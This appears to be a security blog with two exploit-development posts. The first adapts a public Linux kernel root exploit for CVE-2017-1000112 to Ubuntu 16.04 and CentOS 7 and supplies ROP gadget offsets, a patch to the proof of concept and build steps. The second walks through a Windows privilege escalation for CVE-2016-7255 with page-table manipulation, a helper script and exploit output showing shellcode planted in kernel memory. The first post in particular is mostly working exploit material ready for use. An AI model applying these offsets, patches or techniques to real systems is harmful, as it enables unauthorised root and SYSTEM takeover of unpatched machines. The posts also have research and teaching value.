Thursday, December 21, 2017

Adapting the POC for CVE-2017-1000112 to Other Kernels

This post will show how to adapt Andrey's @andreyknvl proof of concent, https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c for CVE-2017-1000112 to other kernels. I will use Ubuntu's Xenial (16.04) kernel version 4.4.0-81-generic in this example

http://seclists.org/oss-sec/2017/q3/277
The timeline for discovery and patch:
2017.08.03 - Bug reported to security () kernel org
2017.08.04 - Bug reported to linux-distros@
2017.08.10 - Patch submitted to netdev
2017.08.10 - Announcement on oss-security@

Description

Exploitable memory corruption due to UFO to non-UFO path switch. When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption. In case UFO packet lengths exceeds MTU, copy =     maxfraglen - skb->len becomes negative on the non-UFO path and the branch to allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes out-of-bounds. A similar issue is present in IPv6 code. The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.

Fix

https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa



Add Offsets for Ubuntu 16.04 with Kernel 4.4.0-81-generic


The proof of concept has a nice framework to plugin the address offsets for commit_creds, prepare_kernel_cred, and the gadgets for the ROP chain for different kernels
Looking at the kernel_info structures, we will update this section with our target kernel addresses.




Find Kernel Functions


To determine the address offsets for commit_creds, prepare_kernel_cred, and the read and write functions for CR4 to disable SMEP.

Create a target VM based on Ubuntu 16.04.2

I am using VMWare in this example.
http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img

Since this is a target VM that will be used later in debugging step-through, update the vmx configuration file to enable the kernel debug stub

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"


Install the 4.4.0-81-generic kernel

sudo apt install linux-image-4.4.0-81-generic

Once the kernel is installed, reboot and find the addresses for the kernel functions, commit_creds, prepare_kernel_cred, native_read_cr4_safe, and native_write_cr4

sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms 
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms














Find ROP Gadgets

In this example I am using a different VM that will be used to debug the target machine above.

Once a new VM is created, we can use extract-vmlinux: https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux to extract an uncompressed version of the linux kernel or download the kernel with debug symbols. I am using the kernel with debug symbols as it will be used during walk through of the POC.

To obtain the kernel with debug symbols

echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.list


sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622

apt install linux-image-4.4.0-81-generic-dbgsym


The kernel will be installed at /usr/lib/debug/boot/vmlinux-4.4.0-81-generic





Install and run ROPgadget against the target kernel

I will use ropgadget: https://github.com/JonathanSalwan/ROPgadget, to find the gadgets in the kernel.


apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic

Now that we have a list of possible gadgets, we need to find the addresses to match the rop chain from the POC

struct kernel_info {
        const char* distro;
        const char* version;
        uint64_t commit_creds;
                sudo grep commit_creds /proc/kallsyms
        0xffffffff810a2800 T commit_creds

               
        uint64_t prepare_kernel_cred;
                sudo grep prepare_kernel_cred /proc/kallsyms
        0xffffffff810a2bf0 T prepare_kernel_cred

   
        uint64_t xchg_eax_esp_ret;
                grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
        0xffffffff8100008a : xchg eax, esp ; ret


        uint64_t pop_rdi_ret;
                grep ': pop rdi ; ret' rg-4.4.0-81-generic
        0xffffffff813eb4ad : pop rdi ; ret


        uint64_t mov_dword_ptr_rdi_eax_ret;
                grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic
        0xffffffff81112697 : mov dword ptr [rdi], eax ; ret

               
        uint64_t mov_rax_cr4_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff8101b9c0 t native_read_cr4_safe

   
        uint64_t neg_rax_ret;
                grep ': neg rax ; ret' rg-4.4.0-81-generic
        0xffffffff8140341a : neg rax ; ret

               
        uint64_t pop_rcx_ret;
                grep ': pop rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8101de6c : pop rcx ; ret

               
        uint64_t or_rax_rcx_ret;
                grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8107a453 : or rax, rcx ; re
t                 

        uint64_t xchg_eax_edi_ret;
                grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
        0xffffffff81125787 : xchg eax, edi ; r
et
           
        uint64_t mov_cr4_rdi_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff81064580 t native_write_cr4

               
        uint64_t jmp_rcx;
                grep ': jmp rcx' rg-4.4.0-81-generic
        0xffffffff81049ed0 : jmp rcx

};


KASLR


The 4.4.0-81 kernel does not have KASLR enabled, but to conform to the existing file, we will use offsets. For each address subtract 0xffffffff81000000, the base address of the kernel.

To find the base address of the kernel
sudo grep text /proc/kallsyms
ffffffff81000000 T _text


For example, to determine the offset of commit_creds
0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800


Note: If you are using a kernel that does have KASLR enabled (https://unix.stackexchange.com/questions/397939/turning-off-kaslr-to-debug-linux-kernel-using-qemu-and-gdb)
$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub


Updating the original proof of concept file


We need to update the POC with the addresses and to expect a 4.4.0 kernel with Ubuntu 16.04 (xenial).


{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },


unsigned long get_kernel_addr() {
        char* syslog;
        int size;
        mmap_syslog(&syslog, &size);

        if (strcmp("trusty", kernels[kernel].distro) == 0 &&
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
            (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
        exit(EXIT_FAILURE);
}



Patch file

4.4.0-81.patch
--- poc.c       2017-12-21 11:49:17.758164986 -0600
+++ updated.c   2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
        { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+       { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
        { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
-           strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+           (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
+            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");



Apply the patch

wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c

patch < 4.4.0.81.patch

gcc poc.c -o updatedpoc






 

Kernel Debugging

Here is a quick setup using GDB to step through the exploit.
From above, we will be using the target machine to run the exploit and a host machine to view what is happening.

On the host machine, we have already downloaded the kernel with debug symbols, now lets download the kernel source code for completeness.

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb

dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb

The source is installed at /usr/src/linux-source-4.4.0-81 as a compressed file: 
/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2

After extracting the source: tar xvjf linux-source-4.4.0.tar.bz2, it is located at:
/usr/src/linux-source-4.4.0/linux-source-4.4.0


GDB

sudo apt install gdb

Install pwndbg: https://github.com/pwndbg/pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh 


Start GDB, configure the source path, and connect to the target machine

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic

set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/

target remote 192.168.81.1:8864







Breakpoints used:

break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all

The first hit on __ip_append_data takes the path to ip_ufo_append_data and the second hit uses a non ufo path which introduces the memory corruption.














Second hit on __ip_append_data
















Enable the breakpoint on __ip_flush_pending_frames















Enable the breakpoint on skb_release_all





















On the break at skb_release_all, we can see where the memory corruption has happened and where the skb_shared_info->destructor_arg is called into usermode setting up the rop chain. the skb address (0xffff880039161400) is listed above on the call to skb_release_all:













In skb_release_data, the dereference to the start of the ROP chain is located at address: 0xffffffff81720a12.

At address 0xffffffff81720a1f starts the rop chain.



And finally the ROP chain in memory









Linux Distributions

Requirements 

 The bug can be exploited by an unprivileged user if:

1. User can set up an interface with UFO enabled and MTU < 65535 or such interface is already present in the system. The former is possible from inside a user namespace.

2. User can disable the NETIF_F_UFO interface feature or set the SO_NO_CHECK socket option. The former requires CAP_NET_ADMIN. The latter is only possible after 40ba330227ad ("udp: disallow UFO for sockets with SO_NO_CHECK option") from Jan 11 2016.

Both are possible from inside a user namespace. In particular, the bug can be exploited by an unprivileged user if unprivileged user namespaces are available.

Checking the status of udp-framentation-offload
Loopback

ethtool -k lo |grep udp
udp-fragmentation-offload: on


ens33

ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]

Ubuntu

Ubuntu, by default, allows for user namespaces
 
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html

Package
Source: linux (LP Ubuntu Debian)
Upstream:    released (4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): ignored (no user namespace support)
Ubuntu 14.04 LTS (Trusty Tahr):    released (3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): released (4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): released (4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark):    not-affected (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): not-affected (4.13.0-16.19) 

RHEL/CentOS

Centos kernel's are vulnerable but do not allow for usernames spaces by default
https://access.redhat.com/security/cve/CVE-2017-1000112

CentOS 7 - https://access.redhat.com/errata/RHSA-2017:2930
kernel-3.10.0-693.5.2.el7.x86_64.rpm

CentOS 6 - https://access.redhat.com/errata/RHSA-2017:3200
kernel-2.6.32-696.16.1.el6.x86_64.rpm

I successfully tested on CentOS 7, kernel 3.10.0-693.el7.x86_64, but had to artificially lower the mtu on the loopback adapter:

/sbin/ifconfig lo mtu 1500

Offsets:
{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }


References


Sunday, January 8, 2017

Virtual Memory, Page Tables, and One Bit - CVE-2016-7255


After the Google Security team released the details on a local privilege escalation via win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD, I decided to research the vulnerability.

Perusing Twitter, I came across the post details a PoC for cve-2016-7255.  The PoC demonstrates the vulnerability: in kernel mode, an attacker controlled address is dereferenced with the value logically or'ed with 0x4.

At Blackhat 2016, a presentation was released: Windows 10 Mitigation Improvements, showing that the system region PML4 entries are now randomized instead of using the static entry of 0x1ed.

At Zero Nights 2016, a presentation and PoC from Enrique Nissim was released: I Know Where Your Page Lives - De-Randomizing the Latest Windows 10 Kernel and  for Windows 10 anniversary edition. Enrique demonstrates how to determine the now random PML4 entries that have been randomized in the latest build of Windows.


I have taken his PoC and adapted it to exploit the same vulnerability in 64 bit versions of Windows 7, 8.1, 10 prior to the anniversary update, and Server 2012 R2.

The changes that were made are:
  • Set the PML4 self-reference entry to the static entry of 0xFFFFF6FB7DBEDF68
  • Adjusted the shellcode to account for the different offset values in the OS versions
  • Added different overwrite targets for the different OS'es
    • Win 7 Workstation - using the common Hal Dispatch Table and call to NtQueryIntervalProfile
    • Win 8.1 Workstation - using the HalpApicRequestInterrupt pointer
    • Win 10 Workstation (prior to the anniversary update) - using the HalpApicRequestInterrupt pointer
    • Window Server 2012 R2 - using the HalpApicRequestInterrupt pointer

To better understand this vulnerability and how the exploit works, a discussion of how the virtual memory manager works is required.

Virtual Memory and Page Tables
To understand how to map a virtual address to it's physical, we can refer to the AMD and Intel Developer manuals to understand the mapping and page table entries.


[3] - 4-Kbyte Page Translation—Long Mode


[3] - Page Table Entries
Key bits that will be referenced later in the code.
Read/Write (R/W) Bit. Bit 1. - if 0, writes may not be allowed
User/Supervisor (U/S) Bit. Bit 2. - If 0, user-mode access (ring 3) is not allowed
No Execute (NX) Bit.  Bit 63.- if 1, not allowed for code execution.

Walk through of mapping a virtual address to it's physical address
To help understand how to map a virtual address to it physical address and view kernel memory page table address, I will use windbg to walk through the mapping. I am using a small program that will write "A" at virtual address 0x1000000

Virtual Address
Convert to Physical Address 

In the example below, I am using windbg as kernel debug mode and have switched into the context of the user process.

!process 0 0 nameofexe.exe

.process /i <address of the process>

.reload /user 


Register CR3 to find the base address and PML4 Tables

The first step is to obtain the value of the cr3 register: "r cr3" 0x1fddff000
which will point to the physical address of the PML4 table.

Using 47-39 bits (virtual address) * 8 (each address is a 64 bit address or 8 bytes) to find the physical address of the Page Directory Pointer Table: 0x1ff48867.
 











Page Directory Pointer Table
Now use the physical address of the PDP table and zero out the lower 12 bits (867), these 12 bits are referenced above in the Page Table Entries table.

0x1ff48000 + the 38-30 bits (virtual address) as an offset, again times 8 (64 bit address) to find the physical address for the Page Directory Table. 0x19d90867



Page Directory Table
Zero out bits 11-0, to get the physical address: 0x19d90000.
0x19d90000 + 29-21 bits (virtual address) * 8 to find the physical address of the page table: 0x1f491867.


Page Table
Zero out bits 11-0, to get the physical address 0x1f491000.
0x1f491000 + bits 20-12(virtual address) * 8 to get the physical address of the physical page: 0x20692867.

 
Offset into the physical page
Zero out bits 11-0, to get the physical address: 0x20692000
0x20692000 + bits 11-0 (virtual address): 0x2692000.  In this case, this is an offset into the physical page and also represents that this page is 4kb in size, 0x0 - 0xfff is 0 - 4095 or 4kb


The !pte command in windbg will provide the same information:
!pte - windbg


Below is python code that replicates the functionality of !pte in windbg and has the ability to use different self reference indexes (this is useful for calculating the information in Windows 10 build 1607)

<code>
#!/usr/bin/python
import sys

PML4_SELF_REF_INDEX = 0x1ed

def get_pxe_address(address):
    entry = PML4_SELF_REF_INDEX;
    result = address >> 9;
    lower_boundary = (0xFFFF << 48) | (entry << 39);
    upper_boundary = ((0xFFFF << 48) | (entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
    result = result | lower_boundary;
    result = result & upper_boundary;
    return result

if (len(sys.argv) == 1):
    print "Please enter a virtual address and PML4 self ref index in hex format"
    print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
    print "if one is not entered"
    print ""
    print sys.argv[0] + " 0x1000 0x1ed"
    sys.exit(0)

address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
    PML4_SELF_REF_INDEX = int(sys.argv[2], 16)

pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)

print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "\n"
print "Page Tables"
print "Self Ref: \t%s" % (hex(selfref))
print "Pml4:\t\t%s" % (hex(pml4))
print "Pdpt:\t\t%s" % (hex(pdpt))
print "Pd:\t\t%s" % (hex(pd))
print "PT:\t\t%s" % (hex(pt))

</code>

Example output
./pagetables.py 0x0 0x1ed
Virtual Address: 0x0
Self reference index: 0x1ed

Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed000L
Pdpt:         0xfffff6fb7da00000L
Pd:           0xfffff6fb40000000L
Pt:           0xfffff68000000000L



./pagetables.py 0xfffff68000000000 0x1ed
Virtual Address: 0xfffff68000000000L
Self reference index: 0x1ed

Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbedf68L
Pdpt:         0xfffff6fb7dbed000L
Pd:           0xfffff6fb7da00000L
Pt:           0xfffff6fb40000000L




!pte in Windows 10 1607
In Windows 10 build 1607 (anniversary edition), windbg does not yet understand the randomize pml4 self reference addresses


By using the pagetables python script from above, windbg does not take into account the randomized  pml4 self reference index


./pagetables.py 0x00007ff6dd800000
Virtual Address: 0x7ff6dd800000
Self reference index: 0x1ed


Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed7f8L
Pdpt:         0xfffff6fb7daffed8L
Pd:           0xfffff6fb5ffdb760L
PT:           0xfffff6bffb6ec000L



Code Walkthrough 

As mentioned above, the vulnerability (CVE-2016-7255), allows us to xor a value with 0x4. It is possible to enable User-mode access to the  PML4e self reference address (bit 2 - U/S, from the page table entry diagram) so user space can access the page tables which in turns allows us to read and update any value in memory.


Notice in the Before section, bit 2 is set to zero, indicated by the "K or kenrel" in KW-V.  After the exploit is run, targeting the self ref address of 0xFFFFF6FB7DBEDF68, the value 0x30FED863 is flipped to 0x30FED867, enabling user mode access, indicated by the "U or User" in UW-V.

Windows 8.1
Before

After

To replicate in windbg what the exploit is doing, the following command can be used:

r $t1 = FFFFF6FB7DBEDF68; eq $t1 poi($t1) |0x4






Creating new PT to read/write

Now that the entry has been changed to allow user-mode access, Enrique Nissim provides a solution to create new page tables that are updated with physical addresses and attributes, which in turn allows for reading and writing for any memory address.

In this example,  the address 0xffffffffffd00510 is only accessible from Kernel mode, indicated by the 0x63, (bits 7-0: "01100011", notice bit 2 is 0) at the each of the entries.  By using Enrique's code, we are able to create a page table, that is accessible from user-mode "0x67" (bits 7-0: "01100111", notice bit 2 is now 1) and points to the same physical page as the kernel only memory: 0x1163 or in this case 0x1000 (remember to zero out bits 11-0).

Before



After



Output from Exploit
This is the output from the exploit running on a Windows 7 box.
  1. A page table is created allowing for reading the value of the haldispatchtable + 0x8.
  2. A page table is created allowing for writing the shell code to kernel memory, bypassing SMEP and SMAP and removing the NX bit on the page table to allow for code execution.
  3. A page table is created allowing for overwrite of haldispatchtable +0x8 that will trigger the code execution.

Reading the original value that will be replaced (haldispatchtable + 0x8)

On a Windows 7 box:
[*] Getting Overwrite pointer: fffff80002c42c60
[+] Selected spurious PML4E: fffff6fb7dbedf00
[+] Spurious PT: fffff6fb7dbe0000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf00: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf00: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf00: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf00: 2c42967


OverwriteAddress: fffff6fb7dbe0c60




Ouptut for writing shellcode and removing the NX bit
Original OverwriteTarget pointer: fffff80002a438e8
[+] Selected spurious PML4E: fffff6fb7dbedf08
[+] Spurious PT: fffff6fb7dbe1000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedff8: 1ec063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf08: 1ec067
[+] Content pdpte fffff6fb7dbffff8: 1eb063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf08: 1eb067
[+] Content pdpe fffff6fb7ffffff0: 1ea063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf08: 1ea067
[+] Content pte fffff6ffffffe800: 100163
*** Patching the original location to enable NX...
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf08: 100167


HAL address: fffff6fb7dbe1000
[+] w00t: Shellcode stored at: ffffffffffd00d50


Output for overwriting the exec target
[+] Selected spurious PML4E: fffff6fb7dbedf10
[+] Spurious PT: fffff6fb7dbe2000
--------------------------------------------------

[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf10: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf10: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf10: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf10: 2c42967


Patch OverwriteTarget: fffff6fb7dbe2c68 with ffffffffffd00d50




MS16-135
Microsoft released patch MS16-135 on November 8, 2016 to address the vulnerability. McAfee has a nice write-up on the patch and how it fixes the vulnerability.


Demonstration of Exploitation

Windows 7 SP1 Workstation


Windows 8.1 Workstation



Windows 10 Build 1511 Workstation



Windows 2012 R2 Server














Exploit Code
Github Repo



Notes
Using NASM to create shellcode
To update the shellcode, I used NASM to determine the correct assembly instructions to use:
Template:
cat 64bitasm.asm

main:                ; the program label for the entry point
      mov     rbx,[rax+80h]


To compile:
nasm -f elf64 64bitcode.asm

To view assembly:
objdump -M intel -d 64bitcode.o

64bitcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <main>:
   0:    48 8b 98 80 00 00 00     mov    rbx,QWORD PTR [rax+0x80]



References

  1. Page Tables
  2. x86-64 Wikipedia
  3. AMD64 Architecture Programmer’s Manual Volume 2: System Programming 
  4. Understanding PTE part 1
  5. Understanding PTE part 2
  6. Understanding PTE part 3
  7. Windows SMEP Bypass U=S 
  8. Github - I know where your pages live
  9. Github PoC CVE-2016-7255
  10. Google Security Blog
  11. What Makes It Page?: The Windows 7 (x64) Virtual Memory Manager
  12. Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255
  13. Youtube - Black Hat USA 2016 Windows 10 Mitigation Improvements
  14. Black Hat 2016 - Windows 10 Mitigation Improvements Slides
  15. Bypassing Kernel ASLR Windows 10, Stéfan Le Berre - Heurs
  16. Infiltrate 2015 - Insection Awesomely Exploiting Shared Memory Objects, Alex Ionescu
  17. Windows Kernel Exploitation This Time Font Hunt You Down in 4 Bytes
  18. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 1
  19. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 2
  20. Getting Physical: Extreme abuse of Intel based Paging Systems - Part 3
  21. CanSecWest 2016 - Getting Physical, Nicolas A. Economou and Enrique E. Nissim
  22. MS-135 Security Bulletin
  23. CVE-2106-7255
  24.